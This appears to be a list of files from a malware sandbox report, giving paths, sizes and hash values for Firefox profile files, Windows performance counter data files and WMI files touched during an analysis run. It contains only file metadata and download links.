SHA512 21b22fcb5a4a96ad4987c19dd12012a8d172014dfe29a66718476da5fe8fc95b8b2be0c00f752db3f0e2faea76b6595c49ded4bd213c4331a4badab253c3ed39
SSDEEP 384:Vbo8bmAyjtIpd66Joz/zgC1j/UDniCNcSVvokMdMdDGcm+usv66pZKPwZiGbzbjV:lji1Ai0iOGcm+u666HKPwZiGbzbp
TLSH
T195D21044FB2E953FD41412BADCA51B042F79F88A58192F573A4C64686C8B2DC3E9E07F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\db\data.safe.tmp
Size 71KB
SHA256 c14d2b4e70bec84dfcf59f0efafb1f2e2ea3e13c9ee0d5727c1c579c2d1e798c
MD5 98f7e2c59aeac3b170102b0df158e00c
SHA1 6ad9280410a4e91caecaba12d19f06c4984502ac
SHA512 6da5a9ed1495dac96272f03cb6ca7a830680fbc22f7b2d12aafc4c3e0b5035cc10eb5c0c07e8bf9def914941c428b1817e5400cb2c3471e8a17c0a0121c2ddb0
SSDEEP 1536:BpwKHHlwuz/tqO27x8dGDA9daf4Kk/dwSJd/j20NHX/L:BpwEia1qRudGECRk2SjJxz
TLSH
T105632344EB1A953FD82802BAAC961B103F39F8894A1A2F67375C55782C873DD3D4F16E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 4b0c311cf36b1633b84731963980259ef1ac4f9f6857044a405f7cab383f2b1b
MD5 ea399071c0a7a320e21373edd73c4bfd
SHA1 f2e588b6b625e2f42da0c49542c2c2313c63fff4
SHA512 a49d710fe50e7b0e56f7c2205855a72fd79063d724982376a74086b4c80e04b40256ccc2ad0cb8ee2913f9e9348e6bafb73e7b5fc6f9a5e1d48eedfad4340a3e
SSDEEP 192:+Ov5zbo8bmAyjXdqdou1d66JoztdzgCl6mc0dz:Vbo8bmAyjtXId66Joz/zgC1jd
TLSH
T1D2D10168EA28863FC448423BDCA51F414E3A385B985E3F1931ADA44C2D572DE7B8D1BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\events\events
Size 1KB
SHA256 c44482a431ac9f9e104aa229ab3e67c8765dc26e63f6cca05be1d6be3b8453ec
MD5 9d9d5cfe8115df80d2388650e533835d
SHA1 63f36af48c6c4fa07dc12cc07ad24e14982ea715
SHA512 e81411204d86b5fddc008588778a1622973e9d2400450f03cb0325f5fe884f43233d402505b29b05dab77b737adf3ccd122558b4961c87a47e873079487eedf2
TLSH
T1C8116D5C39F98E6A9887E25C7551028E5B528A0745871D434D52FFCDCFC16E9317E42C
MD5 SHA1 SHA512 TLSH

Submit Download

03a9e5ab-7aa5-44b0-9e4d-9863c3069d81

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\pending_pings\03a9e5ab-7aa5-44b0-9e4d-9863c3069d81
Size 235B
SHA256 5271d660ec250ae77938829d50e6900b41a9a983b6cd92d42a56af13b1b69801
MD5 29dd4ed2462cc45606d1b87fd834c178
SHA1 9bbc6ba349272239e4baed5fdaeaa802571c3c36
SHA512 2d70f60223f04364e7450ac70feb15cfeeabb567d612a61062479085d27007ec683848a821ba26665df64767e9bef1f627bbe04da57f75e0688620341444fbf1
TLSH
T189D097D038AC236D08200F12B4A02ED234884D3310686810A9610078CDFDEC95161C2B
MD5 SHA1 SHA512 TLSH

Submit Download

0594a080-8b4f-412c-821d-75a46d328f53

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\pending_pings\0594a080-8b4f-412c-821d-75a46d328f53
Size 2KB
SHA256 f2554248ac0c5f444ef88a040ee102afc3dd471b17a1202baa1d4a057e6b863d
MD5 b73f87b4d4f1467f8d9338adef3d820a
SHA1 de03cd9b3594367d8ee1d90e93b0e3455c1dd589
SHA512 e470408e113d0b871424a6760683dfbda6aa43838435b9c99be6bffdeaf4f747fac7dc7cfaca6d68657fcf79a7c72d1b47e15de169280121abd8a2407ba95d20
TLSH
T1DB41755C38785D779C9AF14CA482374E93A09E4310C31C836D61EE0CCED669E776A537
MD5 SHA1 SHA512 TLSH

Submit Download

176abde0-4eec-4d7b-b870-2cf7538c639e

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\pending_pings\176abde0-4eec-4d7b-b870-2cf7538c639e
Size 16KB
SHA256 cbf3c8af47b8a3f97a2620dd379e126ce44e5b16134f4fd37c5b5ce778ce7b00
MD5 53baaa2b0db659a6e51ca05a03400833
SHA1 0e718e24371650f704a4d9399ee0ce4f4b953542
SHA512 ab555ebc3b90bde7cde0169ebee19d2df4218ca5940d484bc86f469ab7f9e9840720a590404c3091d69b1b0a2b65cadc18dca64a7f1159776027374ea3cb20e4
SSDEEP 192:baEfX79FJkOTOT5odbm3/m6cu8BWRm48v0z1idT28LiRg8zd2edG2zR21p+BZ61:bpfX7yKv0BidC8LiRxz8YG2W+M
TLSH
T13572DA56682055BA8591E368D4F87FC7E2F638CF4C019FCA8BE4BD0869DE06E112784B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

330afe65-11be-4ccb-90be-7bbf929f5235

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\pending_pings\330afe65-11be-4ccb-90be-7bbf929f5235
Size 883B
SHA256 0b7d0a845b1ea45eef5fb6aa13ae2e1d75b3e45dd60e6ea47011e0d3d7c5f44e
MD5 2877b128745786033dc6091fa426acd3
SHA1 b49428f7266f9a09bfc267bca6d3877e42663ac2
SHA512 2ed9767829577de317125b070336be2183bd8eb323377ff80b764bd195c056431959ace70a6effff0b5677fac0976110d1e7e2dc7144dd5076b7d4c303f6f472
TLSH
T1B9110080E938B5B1CC7C924B89567B4697E8B82380C644143CF18D080EBE61F9B56607
MD5 SHA1 SHA512 TLSH

Submit Download

9f7db80a-ec4b-413f-89d3-37097b3bb61b

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\pending_pings\9f7db80a-ec4b-413f-89d3-37097b3bb61b
Size 931B
SHA256 4d68d09ce8dd51546ef2080f37680668bf005c11dc5278c69eba034969c03118
MD5 92c2e6f2398e1f2fd1f7fa5b19f1bc31
SHA1 7cd1a1ab7d9615351d3405a2367239e518b9f77e
SHA512 82b4de3eb9e1e75c47c8c15f30e3dbd71b4a8b9e74744874e9a5300e879b013de0478b4e8dc58a70bee6239fda6b5c6b869a25d0dc5009f4a5e472f15f44548d
TLSH
T13111ED508D747571CC78E28FE9617B53A6B4B42380C60A187CB18A080DEE51FAB46607
MD5 SHA1 SHA512 TLSH

Submit Download

cf69ba12-7970-4f63-bd46-54f67d97219b

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\datareporting\glean\pending_pings\cf69ba12-7970-4f63-bd46-54f67d97219b
Size 280B
SHA256 6514bef959e75862dd6e79361f3700c2d94e1d09935da5fc6bd99d3615bf840b
MD5 23b714fd6f4eba7375f547aadaef989e
SHA1 132553500b60dabd795e4c90bafbce455c4b3653
SHA512 c99d9cf7b48984d0632ad761e33b650eab071e5ab3199d0875c03982258a99436acd2466e1517d4d3bbe9ce17a12817aa9cdefaae723bc0506f0512242f55cd1
TLSH
T1A3D02B807898776D4C280F0FB0B46EF2B1694C3319E168149691453C96FFEC99151D5A
MD5 SHA1 SHA512 TLSH

Submit Download

extensions.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\extensions.json
Size 16KB
SHA256 e244670014707e83badb8bc7728706a2e8e808b1f2dadeb49bcc36ebb0834b79
MD5 c9915db9a327dfeb81e9a6d685653597
SHA1 b6aedb81e296f24227664cd649eb5590daf2df7f
SHA512 244d6c779fdbd6b85324aedea552f9a9b565d1e664a9e6ad83a80564237355d8401fc42213e00b68555ab410a20a85fbd99cb7ec397930b2f0ece6d80ae12fa9
SSDEEP 384:ckI4v0jUmldvX8dhWS94zk96oDeL4HSDL4PupNL4HpL4HHL4HrP4hi:zI4gRf0Xz4c6Wk464WN4h4L4r4I
TLSH
T17472541545008EB8294FA78AA636BE02C37D473B60855C78F4DD8FC802FB5B902FB65B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.dll
Size 1.1MB
SHA256 37c005a7789747b412d6c0a6a4c30d15732da3d857b4f94b744be1a67231b651
MD5 626073e8dcf656ac4130e3283c51cbba
SHA1 7e3197e5792e34a67bfef9727ce1dd7dc151284c
SHA512 eebdeef5e47aeadfeebdbab8625f4ec91e15c4c4e4db4be91ea41be4a3da1e1afeed305f6470e5d6b2a31c41cbfb5548b35a15fccd7896d3fde7cdf402d7a339
SSDEEP 24576:qSPda8zU7qNBLR+R1Uq6S/gCfTuP4PIKth58yS0fDrx1:xfeqNBR+cq6S+4QKtkyS0fv
TLSH
T159458D0AF2A641F8D41ED470966EA722FA79344C173568EF169587202F77BC0AB3EF14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.info

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.info
Size 116B
SHA256 fe7686a6281f0ab519c32c788ce0da0d01640425018dcffcfcb81105757f6fe6
MD5 ae29912407dfadf0d683982d4fb57293
SHA1 0542053f5a6ce07dc206f69230109be4a5e25775
SHA512 6f9083152c02f93a900cb69b1ce879e0c0d69453f1046280ca549a0301ae7925facdda6329f7ccb61726addee78ba2fffc5ba3491a185f139f3155716caf0a8d
TLSH
T101B092446843B0B1187682471D795AA55A79B782E022486D6E6F27E10784727476D4E4
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\gmp-widevinecdm\4.10.3050.0\manifest.json
Size 1002B
SHA256 2894996540fabbd346ed4ced8386ca77d6badf60372e307ee15c906c30340d0d
MD5 dcffff15fa618a53834ee4ae8673bd23
SHA1 87316c1f583f438b55e3b0a94783ff9dc8f177f7
SHA512 250c869c49c886306aa0362567cb1ccacae676f886a5b9206ce77fb92acf3af16bd574e80d01e0f97f031d6f00710af8f82c176df51994dcfb51153bed3cee46
TLSH
T139115B00DD388DD326D4BAA21CD6580A97661DAF5CC23E94379E161D8F1C8AB937376C
MD5 SHA1 SHA512 TLSH

Submit Download

widevinecdm.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\gmp-widevinecdm\4.10.3050.0\widevinecdm.dll
Size 21.6MB
SHA256 f1216e26ee8c27f938d7722427d29f190e569ed83d0ba16ea872cae684b97602
MD5 d14dd3f0107ff91c3e21f301d83f82b0
SHA1 f61d7d687c9d4b3b6a6c9c0f5610025b5d3f4e45
SHA512 de745c2ff8440d72c5616a88fc56918f4aa7de202c8c4cd7fd026d5eebebde6ee97a3a8a76f331da4c03042b7d87ba8dc2eda40bb475fb47e56df5c2795cf97d
SSDEEP 393216:bYXajn9L4mghF5QDwW0LmruPCB78HYUUZBKvq9PW1gL2hoHH:emghF5QDwWCm/2YU8Ivq9u5K
TLSH
T14E37F18AF36350A8D84E9DF0426EAA72D0743C4E03359AEF17D47B315A727C06A79F16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\prefs-1.js
Size 7KB
SHA256 e090791a3eb28308870f6c281db852782dde50cd128f47cbfa3616f58defb8b5
MD5 3c6dbc5a2988b913a1d4d64b3962a404
SHA1 5054f726b74b70d4289b8875dd88856ecaab6583
SHA512 049665c418962701cb07cb7bcc07bdab69af0b1f830c0b1bd1ce305918e094233587064d0f34a744f54ae10036698ed9698f086462413de11aff187c2a8eea3c
SSDEEP 96:xHdZTUZqGqofyLNE1zS6SSlcdv9jjnUHgYETBw88u8L4cn7yTM:PFRofyLNEnSSbgYeBw887
TLSH
T1A8E1FB7C5108CB7F74B676ACAC6489315AB2023BB7BF68D610B954C5050CF3846FA6EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\prefs-1.js
Size 6KB
SHA256 78880b59b6fd967e0ff07611caa825b6e15a715612642e7c893d02761d902b92
MD5 0c35d824a15bfb77083fc16193a3fa1c
SHA1 69e2b985b2d41e61c180fbfea19c56b0ec88ae6d
SHA512 aa1f80f2710594479235c8df89483a18fcfe481745e2c485d4b683d07993bb092ed06003a5e43c740575aadbaac773536b867f2103c8801193c0dbcbdde47de9
SSDEEP 96:xHdUTUZqGqofyP21zS6SSlcdv9jjnUHgYETBw88u8L4cn7yTM:P0RofyP2nSSbgYeBw887
TLSH
T196E12E7890088B7F74B677ACAC648C316AB2017BBBBF68D710B55484054CF3846F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\prefs-1.js
Size 7KB
SHA256 cf9a731071207a96b9b68ecd9a501c8164c077f0aabefc523ad88015a22d88be
MD5 2b453d664fab4d57e181e23dc66671ff
SHA1 5aa90a7b764e8651b3b60c2940aab64ae75feaa5
SHA512 e38ae644c872d267138f23b0f11fa5774fc602102c6f3deef0bd779402671b3e1709faeee76a6d22653d899183a6d6914968f7fab4e1b2355582c08781e5372d
SSDEEP 96:xHpZTUZqGqof+u3LNEObzS6SSlcdv9jVnUHgYEEBw88N8L4cn7yTM:nFRof+u3LNEgSSVgYNBw88A
TLSH
T1D8F1DA7C5108CB7F74B676ACAC6489315AB2023BB7BF68C610B954C5054CF3846FA6EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\prefs.js
Size 6KB
SHA256 d6bd74302e3578d423a32a33bd5adb10464f2fe526787fc7afca8ee263f1d598
MD5 f174e41bf70ab08f7d6920ad271fa42b
SHA1 3a032daa64c3553a83e725886e3cf5c9cc9ecbdc
SHA512 09acfe6ada3d2433a2eea8cd7cac865b267a787ae8a4e96932462633339b266e2cb01902a7f9b52f200a6c017e0af1e8e21f2b8cb03efd63aab947b548a4b6b2
SSDEEP 96:xHdUTUZqGqofyP21zSuSSlcdv9jjnUHgYETBw88u8L4cn7yTM:P0RofyP2HSSbgYeBw887
TLSH
T185E11F7890088B7F74B677ACAC648C316AB2417BBBBF68D710B54485054CF3842F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\sessionstore-backups\recovery.baklz4
Size 4KB
SHA256 6e467ca6c76619ab2286513ab3db8ddc6263415f22652c4124dfcbf2fcbe04ac
MD5 091b9fe88ea149f3d65aa73af6bd382c
SHA1 9503b41cb936819721f5d4df0d36e40765ffeb59
SHA512 81972426d54093f3d9a4a7aa39f689c5bd54dce19df5bafaeba87491f6a466daeca05ab8c429b946d64d3ade1066e0a537a7d6ca4cc0f4b55ef9658a491510e4
SSDEEP 96:7cfC9T5zMTmm9DfHNryUlo40EYU0iJla4bF2CTpfJfQs24:KCT5zMSm9D0qo40f2v2CTzQs24
TLSH
T155816D43500F3FF87F716E80C4A82A21D1A528A38A654AD450ACFE52433D6EE615E3BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 10.2MB
SHA256 d55ecced515ff7b77c1cb42ec9613dff9711957d16a6f749abaacd534d0ebb71
MD5 c38aa9636091fa424f7ad377a9554af1
SHA1 7ca3d23bb846cebd6791ce9ea5d5d4edbc532cec
SHA512 d33f9a34784f1e22cd5f89c07069222157697374a50fa0f66e312c41410985e0beb88c291847403cfc6be862380222cb757ca51429fe4ce222dafa96682fc807
SSDEEP 49152:q3KUmMWNmXwYsLNGqDv2PHNKADqFqajXDZMm23GdHNH:wuNGwv2PtKADk5jTeRWH
TLSH
T15AB63B9660D4DA92EB0146B6F30F43DB32BFC18C2096C59416F86EA858536DFEE2F354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 14.2MB
SHA256 e97cfda1e61841982c0d981fc91bc04c34179972c9bc02643130b0c0a7bde9f9
MD5 fedf8b3b027d90914fa5b767ddbbfebb
SHA1 aea271799d4012b05d1380398330919908447abb
SHA512 70538b4bcf15fb6d58b6a44dbfa5f6fc059b049d0596df790aa5d6eb918a1675a7d2f5e5511489bc48a31827598eaa03011ebdb639a3a66aba1c09a3648b88a1
SSDEEP 49152:OLkLyaaeUr6QC5zYY8igJgZ1JMZsjLIJYR2vLBUPNk2FCruGKPZMhNm9wYUnpOqO:arpOwa2PtHLZ6TeOkbW
TLSH
T1C7E63B9270E0D692EB0186F2B31F43EB317FC1DC20E589941678B65C596329BEE6F364
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 5.0MB
SHA256 3672dc08ed05f7132f8c487c593d733d0e7c54e6b9598413fbce4e35d6ea86bf
MD5 e363fe23a13bcfe5744d6893aaf52170
SHA1 9d589b71ebe4a171a882c56d1e7041cacaee143a
SHA512 4d03f82ac8d51f722410b4ddfde8162d8ec7c9c04088eedfd0ae3e73f012fe7b5b9cb6406e64d305b84b24052b645f59bf0ac8100096d4d8294c57a4f46dcd29
SSDEEP 49152:5MewBxG7+CIUYSQihqMbxK+B/1tCboaa:CRtihHdKK/1tCboaa
TLSH
T141362AF820D1A257F3814033664593EF21EFD00C6027DE085BA966E9A574CEF9E16B7E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xulstore.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\00wjakap.default-release\xulstore.json
Size 169B
SHA256 dab87e54a3ba429ee107f91bea3b07036080554ca4ca06e46076c2c149f61aa3
MD5 21a53625ce61969d15b322c001974bb0
SHA1 561441390cd00ba54f278ba399671a8b8ff128bb
SHA512 3ab784c5f3e6459112aff9cc77451a840a45bd8ea020303ed269855b8a855847e4a60382afea2f8bdea3d78c383df9f65b6ca208f7ccbe7994d3e2bcc51d5b12
TLSH
T18FC08CF013AEA8087D34EBCF16CD33903E79844491D0621A7AEA9CA018C870F9918389
MD5 SHA1 SHA512 TLSH

Submit Download

perfc007.dat

Path C:\Windows\System32\perfc007.dat
Size 154KB
SHA256 2d21b2544ee0f19b3fc76dcef44efd15d75535117bfe6cc9a437dfa6a7f38a2e
MD5 7571ac27833618565fc1b17af1f335b1
SHA1 a3d23c3ac0f998006b1c05745ee5abae9b421cac
SHA512 70a76b6c1f6faf8db7a1c1a16e9423c65e60ff818370e2e48aa236c5524b51cdf01e9eef760c2f015f20ff69cc71eb8e833f91ffc2a898dc5bb7225c0e970d2c
SSDEEP 3072:wb+j2tTPhtqgG+Hf5Rz5YjO3QzTTCoigI1WZz40NI0brFKnH2M7Pqs0egeS:2oigII
TLSH
T128F304500BE9051DF2F7AF38AAF65042AE6AFDA6BE31D81D1150128E0572E11DC79B3F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfc009.dat

Path C:\Windows\System32\perfc009.dat
Size 131KB
SHA256 63cc5dee207f7a2ad7e0ce1481e94eba46605534db16ad33da4fc61417235265
MD5 a02cb7687ef092f9248898930c20d35d
SHA1 1800951f108214a878c3244425ca97c0d183160b
SHA512 4cdb00132cf59036dabc1fd65483ff60f5af34f087ebdddc98da1b8feaa8a69a01b213783e7d30c7ff6d2096661f3707983002b395398f06ada7b1d30668a49a
SSDEEP 3072:Xdd4jjO8PzT3hoKgIOWIr40lW0v2RjSsp237/q8cKV7Y:koKgIz
TLSH
T1AED3BEA55BF81018F2F77F3CAAF650529E2ABD66AE31C41D01A0124F0572E12DDB973E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfc00A.dat

Path C:\Windows\System32\perfc00A.dat
Size 160KB
SHA256 3c29f5c8d53ddbe70904a77242a381d0f23c3959b2bb63716aa0cc26f9ddb41c
MD5 5d4565ddf8334e6e1d2f2b58d4bc8b77
SHA1 4d7285ea58fbc63f68febf307d82bb43e09a2454
SHA512 73a2e433e3a5e539d4e9bdd923c1ce7b73aa0595543ee9e92ea21b7fe1bbaf71adc9b61fe43cbd64995119904c677f74e9162cd88372d905d2fe4a0f80e441db
SSDEEP 3072:XL7SjORMzTdGoZgIpWhI40uK0uMb217wqtT3qk8:poZgIE
TLSH
T1E7F377505AF80216F2F3BF38AAFA55165E3ABD56AD36C42D0160124E0DB2F11DC78B3B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfc00C.dat

Path C:\Windows\System32\perfc00C.dat
Size 154KB
SHA256 837321e62eb33a423a247237742e3bfda181e250fcabb3c686e5e0992a5ee920
MD5 27496f5e05b90441df9222732ebbe81c
SHA1 2947f5af8496bde963fa2ede5313dd4c4b560cd8
SHA512 343afb119a6e14eeb83ecf4db42beefdb8e829bdd04d2344c5aa1cead1040db29ac24331e60c83de0f07cb36eb305e5c16951dae9351ab23be09743592a37189
SSDEEP 3072:/kDtTckjO6QzTU1okgIaW3V40vH0YkbB2U75q4bXfhm:/KokgIJ
TLSH
T17CF39A945BF90115F2F7BF38A9FA11029E6ABD5BAD32C41D0191018E48B2F51DCB973B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfc010.dat

Path C:\Windows\System32\perfc010.dat
Size 144KB
SHA256 0f5f838113b2bbf023c71561b39380cd40a1881d24c96da7d4152ea82d947900
MD5 2350f01595ba09fd16eedc1d19adb905
SHA1 f9397132272fa9c4d57f0949aef5b52166562663
SHA512 26159fc5962e02e886c49be7a58a5a8360856b1fdc432a96c443acf7c5a36ebc7312a30b183f7ca3de61a999ae463247af68649d5b3c2bf3edcbfe6b4549da1e
SSDEEP 3072:0A67APdGk9jOpFzTbZo9gIEW0c40ve0yvz2O7YqOj9lXF:uo9gIF
TLSH
T135E3AAA16BF81108F2F77F38A9B951125E3EBE66AD35C42D01A1018F0972E51DCB973B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh007.dat

Path C:\Windows\System32\perfh007.dat
Size 726KB
SHA256 8c406001c8f53f5886969775f7178c1cef2d2cdec664f8a3d04c050ef837a6cd
MD5 a2ff838b0f9a74c47bd2eaca6dfd7b56
SHA1 3eb30dd75685c023c8ef6d9cb99dc5aee24ff406
SHA512 65799eef0af87ff7e866b2a39f3c435ddb93aa17987abd467c306fc082516f19f55510d94f64291f09a1d4b194ab5d106e756390aee54c38b4524576e1463d60
SSDEEP 3072:MfpwBxTEsmVUwN8EBNjcbWhSILPDtzcSx2A8q1JuqaBYrSrSQYCxlFdj9J2hSF1V:rZzzORs1JX
TLSH
T104F4C86153EA8618F2F77F64AEB812A46E62BCE2BD79D60D1250109E0C71F40CDB4B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh009.dat

Path C:\Windows\System32\perfh009.dat
Size 688KB
SHA256 3bab5967d2ac8b0f8ddc0b210694d7172b20213c19b2d3588059c893cfd1d592
MD5 0793133d828b3d3b22fb5ddafaabf4b4
SHA1 c3e2eb8cfec42e3c9e7def52a498a336e45210b8
SHA512 10d961928116af0b96650607fa1c6d93c53ac4371fd66ac3970736f0cc5fc1a2872dc2a455a51d0787c0ebbaaa42a7e8924a2026a95e45f66437f56dd8e2a5f3
SSDEEP 3072:ZUqGrdowz4j0PrRZnpETMsZ8M6d0PHCWsnxJfVF6shlOE3XcGBloOZs1GoYOdGo8:f8M6d06WsnyOZs13e
TLSH
T116E4799167FD4608F2F73F64A9B916A45E7ABCA6FC79C25C1250005E4AB2E50CCB0B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh00A.dat

Path C:\Windows\System32\perfh00A.dat
Size 769KB
SHA256 879e1268b9de3e0ddf9bfe4c3115c57b5ae6149f1ef1b1a3131c0d66ae125b8b
MD5 d1f123662a9be30633e79ff172e80f60
SHA1 fe5904c5f2ad1f37bfee356e403ee410e77e21c5
SHA512 caab875e9ac8fdd183d5962f5e8a312386d92c1a69517000d140e703088bee395a90f4bb25f969d12093defffc46415fde32ef986f29f154da8656d88851b704
SSDEEP 3072:F2Gx7F17Fetjvt2JYH8QncegungPlZaJQ8E9F6sWOE37wrBuO7s1pYOmqOpatjaK:otjvtuMnpngPlZavzO7s1pYOm45Z
TLSH
T152F40F5067F9560AF6F77F19A9B91A654E7ABD92EC39C11C0220019E0EB1F84CD78B33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh00C.dat

Path C:\Windows\System32\perfh00C.dat
Size 770KB
SHA256 68cd2620bd7be883a883a800255e6afa5a63d94732db0b11616b867007538365
MD5 3faf6a679b49ecca2c747ad22413f572
SHA1 89005ef75ca38cd0ec2e292bc5619d04c4fb13fe
SHA512 d152b82d59610a921d2b976264ace4412c72626e5edda6116c2790deb3d2d986e7d07d30ee9199beec97fdebb3f14e5c6e0b8e6f594be6d151c5d57426184f83
SSDEEP 3072:8eeo6JpGytgOiPIny4auTsQO2I70IeMsCnSRwERwpZR9DNtflhzxxjAgiblQH4cY:meH1AgkSBORs10B9Jb
TLSH
T1BBF42E60A7FA5209F6F73F64A8B915654E6B7D96EC39C21C0250009E1DB2F94CDB8B33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh010.dat

Path C:\Windows\System32\perfh010.dat
Size 744KB
SHA256 679d96bc257f43b36fa7c89c91f4bd0eccefc60efeab6689ee1d4833e6fb078c
MD5 4566575408d4bfcb2ee4df8f3f92499e
SHA1 cf90b96e0a49cdb2c284c75157ea4111b7d4e41a
SHA512 b439f9800db8900110258b8a962e4cfab12d6df056ad7823e6c4b2c483ee5dbe377df5dcd9abbd32f06f4c66d935324e0ac91411000f8a873241be8ca2ffe88a
SSDEEP 3072:g48gxoowjkUXxL8d8Zj/v9GLcr+c98ov+pmPxHHtZVbRKI3F6sOOE3/BROMs1VxS:FCj/v9GLcnHtknOMs1Vx0fJunDV3Z+
TLSH
T1A5F44362A7FD5608F6F77F54A97916654E3ABE96AC39C22C0260009E0D72F54CCB0B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh011.dat

Path C:\Windows\System32\perfh011.dat
Size 448KB
SHA256 0577bcea9238cb73bce83b64d66672a98c6838489ab87a9299e45e04fb2222de
MD5 fca9f0c19a5544c6a69ed8524169fa46
SHA1 edff2ba75565628e26df2baebcf96c01d72e9aae
SHA512 d7cabd367f1156515c37c883f8e248833ebccfd26127ed95d1c26535f5b12e3e9f996d179b70637993211775986cf7319d4b090cc16929e5a1860460a7cfb851
SSDEEP 3072:6ZS3MD1H7gVmRwNT01ZmX0RZKFZwF6s9OE3LB2/7SsxOOs1TzOh7tjLy0lfPJ/w5:kS3jmRwuc0RZYOOs1Tkuj
TLSH
T127A4B78836E8060DF2F77F64A5B520A02E6EFD65ADBAC56C1550408F0971E48CEB5B3F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WmiApRpl.h

Path C:\Windows\System32\wbem\Performance\WmiApRpl.h
Size 3KB
SHA256 ae2b6236d3eeb4822835714ae9444e5dcd21bc60f7a909f2962c43bc743c7b15
MD5 b133a676d139032a27de3d9619e70091
SHA1 1248aa89938a13640252a79113930ede2f26f1fa
SHA512 c6b99e13d854ce7a6874497473614ee4bd81c490802783db1349ab851cd80d1dc06df8c1f6e434aba873a5bbf6125cc64104709064e19a9dc1c66dcde3f898f5
TLSH
T17561011D8E8A416EDA7E36A95C2C192419B5FE770AC058EF317DBCDF0D4A80A24D352F
MD5 SHA1 SHA512 TLSH

Submit Download

WmiApRpl.ini

Path C:\Windows\System32\wbem\Performance\WmiApRpl.ini
Size 29KB
SHA256 c20b11dff802aa472265f4e9f330244ec4aca81b0009f6efcb2cf8a36086f390
MD5 ffdeea82ba4a5a65585103dd2a922dfe
SHA1 094c3794503245cc7dfa9e222d3504f449a5400b
SHA512 7570527fdae4818f0fc780f9f141ab6a2d313cc6b3fdb1f7d7ff05d994ad77d3f8d168b1d77c2555d25dc487d24c18f2cc0eab505d1dd758d709f2576aac1a8a
SSDEEP 384:eso3V1/z21+byTLVh4+rCop/g4kg4491T91XFrw4G4xvrtZ9dyu+2V0DrtcYkcTu:esoW/g4kg4oG4J
TLSH
T1F3D2201267F94158F2F66F98AAF594775A73BEE66D38D1AC01A0031E09E1E40CDB13B3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1544-16-0x0000022EBA410000-0x0000022EBA4C2000-memory.dmp

Download

